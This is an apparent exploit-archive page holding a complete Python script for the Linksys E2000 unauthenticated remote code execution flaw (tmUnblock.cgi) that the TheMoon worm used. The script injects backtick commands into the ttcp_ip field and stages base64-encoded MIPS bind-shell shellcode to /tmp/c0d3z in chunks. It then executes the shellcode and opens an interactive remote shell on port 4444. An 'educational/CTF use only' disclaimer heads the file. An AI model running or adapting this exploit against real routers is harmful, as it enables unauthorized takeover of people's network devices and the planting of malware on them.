5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3

"""
Python port of the Linksys E2000 unauthenticated RCE exploit.
Originally exploited by TheMoon worm (Feb 2013, discovered by Johannes Ullrich).
Vulnerable endpoint: tmUnblock.cgi / hndUnblock.cgi

For educational/CTF use only. Run against your own devices.
"""

import socket
import base64
import time
import sys

HOST = "192.168.8.100"
PORT = 80
VULN = "tmUnblock.cgi"  # hndUnblock.cgi works too

# msfpayload linux/mipsle/shell_bind_tcp LPORT=4444 X
SHELLCODE = base64.b64decode(
    "f0VMRgEBAQAAAAAAAAAAAAIACAABAAAAVABAADQAAAAAAAAAAA"
    "AAADQAIAABAAAAAAAAAAEAAAAAAAAAAABAAAAAQAB7AQAAogIA"
    "AAcAAAAAEAAA4P+9J/3/DiQnIMABJyjAAf//BihXEAIkDAEBAV"
    "BzDyT//1Aw7/8OJCdwwAERXA0kBGjNAf/9DiQncMABJWiuAeD/"
    "ra/k/6Cv6P+gr+z/oK8lIBAC7/8OJCcwwAHg/6UjSRACJAwBAQ"
    "FQcw8kJSAQAgEBBSROEAIkDAEBAVBzDyQlIBAC//8FKP//BihI"
    "EAIkDAEBAVBzDyT//1AwJSAQAv3/DyQnKOAB3w8CJAwBAQFQcw"
    "8kJSAQAgEBBSjfDwIkDAEBAVBzDyQlIBAC//8FKN8PAiQMAQEB"
    "UHMPJFBzBiT//9AEUHMPJP//BijH/w8kJ3jgASEg7wPw/6Sv9P"
    "+gr/f/DiQncMABIWDvAyFojgH//6Ct8P+lI6sPAiQMAQEBL2Jp"
    "bi9zaA=="
)


def full_urlencode(s: str) -> str:
    """Encode every character except & as %XX hex."""
    result = ""
    for ch in s:
        if ch != '&':
            result += f"%{ord(ch):02x}"
        else:
            result += "&"
    return result


def build_packet(host: str, port: int, vuln: str, payload: str) -> bytes:
    """Construct the raw HTTP POST exploit packet."""
    body = full_urlencode(
        "submit_button=&"
        "change_action=&"
        "submit_type=&"
        "action=&"
        "commit=0&"
        "ttcp_num=2&"
        "ttcp_size=2&"
        f"ttcp_ip=-h `{payload}`&"
        "StartEPI=1"
    )

    auth = base64.b64encode(b"admin:ThisCanBeAnything").decode()

    packet = (
        f"POST /{vuln} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Authorization: Basic {auth}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(body)}\r\n"
        f"\r\n"
        f"{body}"
    )

    return packet.encode()


def send_packet(host: str, port: int, packet: bytes) -> bool:
    """Send a raw TCP packet to the target."""
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(10)
        s.connect((host, port))
        s.sendall(packet)
        s.close()
        return True
    except Exception:
        return False


def build_payload(host: str, port: int, vuln: str, shellcode: bytes):
    """Stage shellcode onto /tmp/c0d3z in 20-byte chunks."""

    print("\tCleaning up... ", end="", flush=True)
    pkt = build_packet(host, port, vuln, "rm /tmp/c0d3z")
    if not send_packet(host, port, pkt):
        sys.exit("fail")
    print("done!")

    for i in range(0, len(shellcode), 20):
        print(f"\tSending {i}/{len(shellcode)} bytes... ", end="", flush=True)
        chunk = shellcode[i:i+20]
        cmd = "echo -en '"
        for byte in chunk:
            cmd += f"\\0{oct(byte)[2:]}"
        cmd += "' >> /tmp/c0d3z"
        pkt = build_packet(host, port, vuln, cmd)
        if not send_packet(host, port, pkt):
            sys.exit("fail")
        print("sent!")
        time.sleep(0.1)

    print("\tConfiguring... ", end="", flush=True)
    pkt = build_packet(host, port, vuln, "chmod a+rwx /tmp/c0d3z")
    if not send_packet(host, port, pkt):
        sys.exit("fail")
    print("done!")


def interactive_shell(sock: socket.socket, host: str):
    """Simple interactive shell over the bind socket."""
    print("Opening shell...\n")
    while True:
        try:
            cmd = input(f"{host}$ ")
        except EOFError:
            break
        if not cmd:
            continue
        try:
            sock.sendall((cmd + ";echo xxxEOFxxx\n").encode())
            data = b""
            while b"xxxEOFxxx" not in data:
                chunk = sock.recv(1)
                if not chunk:
                    break
                data += chunk
            output = data.replace(b"xxxEOFxxx", b"").decode(errors="replace")
            print(output, end="")
        except Exception as e:
            print(f"Shell error: {e}")
            break


def main():
    print(f"Testing connection to {HOST}:{PORT}... ", end="", flush=True)
    try:
        s = socket.create_connection((HOST, PORT), timeout=30)
        s.close()
        print("connected!")
    except Exception:
        sys.exit("fail")

    print("Sending payload...")
    build_payload(HOST, PORT, VULN, SHELLCODE)
    time.sleep(3)

    print("Executing payload... ", end="", flush=True)
    pkt = build_packet(HOST, PORT, VULN, "/tmp/c0d3z")
    if not send_packet(HOST, PORT, pkt):
        sys.exit("fail")
    print("done!")
    time.sleep(3)

    print("Attempting to get a shell... ", end="", flush=True)
    try:
        shell_sock = socket.create_connection((HOST, 4444), timeout=30)
        print("connected!")
    except Exception:
        sys.exit("fail")

    interactive_shell(shell_sock, HOST)
    shell_sock.close()


if __name__ == "__main__":
    main()